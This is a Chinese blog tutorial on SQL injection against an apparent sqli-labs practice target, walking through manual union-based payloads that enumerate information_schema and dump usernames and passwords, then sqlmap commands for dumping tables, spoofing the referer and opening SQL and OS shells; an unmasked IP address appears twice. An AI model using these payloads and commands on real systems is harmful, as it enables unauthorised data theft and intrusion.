零基础使用Sqlmap进行测试?你不得不掌握的基础知识

点赞后看,养成习惯
喜欢的话 可以点个关注哟
你们的点赞支持对博主们来说很重要哦 !!!

本文将针对以下问题逐条进行解答:

01 Sqlmap是用来干什么的?

02 手工注入测试SQL注入漏洞的过程?

03 使用Sqlmap测试SQL注入漏洞的过程?

04 使用Sqlmap有什么心得?

为方便您的阅读,可戳下方蓝字,快速跳转

在这里插入图片描述


01 Sqlmap的用途

如果大家有听过SQL注入漏洞,那么简单来说,SQLmap便是自动化SQL注入漏洞工具

Sqlmap是专门用于对付网站数据库的利器,不仅可以对数据库进行指纹识别、读取文件、提取数据等操作,在获取管理员权限情况下,甚至可以对数据库进行删库操作,为所欲为!


在这里插入图片描述
可能从以上的描述,大家还不能理解Sqlmap这个工具的厉害之处。

那么接下来,我就以同一个漏洞场景,分别从手工测试和Sqlmap工具层面进行测试,让大家见识见识Sqlmap的厉害。

(为安全起见,不公开搭建的靶场,以下测试环境中以xx.xx.xx.xx代替真实IP地址


02 手工SQL注入漏洞

这里举一个SQL注入漏洞的栗子:

通过Union注入获取后台数据库的user表中对应的用户名及密码信息:

1.在疑似注入页面的网站:http://47.107.79.22:83/Less-1中,通过添加单引号判断是否存在注入点

http://xx.xx.xx.xx:83/Less-1/?id=1

在这里插入图片描述

http://xx.xx.xx.xx:83/Less-1/?id=1'

在这里插入图片描述

根据以上测试,发现数字1后添加单引号之后再次请求页面, 页面返回信息不同 初步判断存在SQL注入漏洞,且页面返回数据库信息的 , 针对性采用union注入攻击


2.判断该页面的字段数
http://xx.xx.xx.xx:83/Less-1/?id=1' order by  3 --

(注意:-- 两个横杠一个空格是mysql中的注释符,用于注释注入语句之后的语句)


在这里插入图片描述

http://xx.xx.xx.xx:83/Less-1/?id=1' order by  4 --

在这里插入图片描述

我们发现当输入字段数为3时,页面信息无误,而输入字段数为4时,页面返回信息出错

因此我们判断页面字段数为3


3.查看页面回显点

http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,3  --

(注意:这里要把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,所以我们要让union左边的select子句查询结果为空,这样页面就会回显union右边的查询结果)

在这里插入图片描述

观察页面,2,3数字位置为回显点,我们可以通过该回显点来获取数据库名、数据表名等关键信息


4.查看数据库

http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,database()  --

在这里插入图片描述

我们获取到数据库名为:security

之所以我们能够查询到数据库名,是因为mysql数据库的特殊性。

在mysql数据库中,information_schema是系统数据库,安装完就有,记录内容是当前数据库的数据库,表,列,用户权限等信息,以下是该数据库中的三张数据表:

表名 含义
SCHEMATA表 储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表* 储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表 提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

5.查看数据表
http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,(select table_name from  information_schema.tables where  table_schema = 'security'  limit  3,1) --

在这里插入图片描述

我们得知有个数据表名是users


6.查看对应数据

http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --

在这里插入图片描述

以上测试用到的函数:

函数 作用
concat_ws() 从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
char() 将十进制ASCII码转化成字符
user() 返回当前数据库连接使用的用户
database() 返回当前数据库连接使用的数据库
version() 返回当前数据库的版本



03 使用Sqlmap的方法

一般情况下,我们利用该工具的思路如下:

1)寻找一个可能有SQL注入漏洞的网址
http://47.107.79.22:83/Less-1/?id=1

2)使用SQLmap,-u参数检测是否存在注入漏洞( 如果网址存在多个参数,这个网址要用双引号包起来)

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1

在这里插入图片描述

检测的时候出现的三个问题分别是:

1、已检测出可能是某某某数据库,是否跳过其他数据库的检查

在这里插入图片描述
2、是否启用对于某某某数据库的所有负载测试

在这里插入图片描述
3、已知某参数可能存在注入,是否还有检测其他参数

在这里插入图片描述
3)–dbs参数 查看数据库

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --dbs

在这里插入图片描述

4)–tables参数 查看数据表

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security --tables

在这里插入图片描述
4)–columns参数 查看数据列

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --columns

在这里插入图片描述
5)–dump参数 查看具体内容

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump

在这里插入图片描述
注明:为了加强我们检测的力度,每次使用的时候可以使用高等级检测,和伪造referer
即每次都加上
–level 5 --referer http://baidu.com

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump --level 5    --referer  http://baidu.com

6)在获知数据库名、数据表名、列名的情况下,我们还可以使用自定义SQL语句参数为 --sql-shell

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --sql-shell

在这里插入图片描述

这里以查询user数据包的所有数据举例
在这里插入图片描述
检索结果如下:

在这里插入图片描述
除此之外,我们还可以通过数据库来进行系统命令注入,
参数为 --os-shell,这个大家自行尝试

04 简单小结

通过上述手工测试和工具测试的例子,相信大家可以了解到:相较于繁琐复杂的手工SQL注入测试,Sqlmap像是给猫插上了翅膀一般,理解一些主要关键字的用法即可上手。


在这里插入图片描述
所以当你遇到可能的SQL注入场景,都可以先来Sqlmap来遛一遛,说不定就有惊喜等着你。

当然,虽说不管白猫黑猫,能抓到耗子的就是好猫。Sqlmap工具在效率上显然是占据优势的,但其也存在其局限性,在某些特定场合并不吃香。而手工注入永远你"最后的武器",希望大家平时也勤加练习

在这里插入图片描述





最后,如果本文对你有所帮助,希望可以点个赞支持一下。你们的鼓励将会是博主原创的动力。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq2539879928/article/details/106732840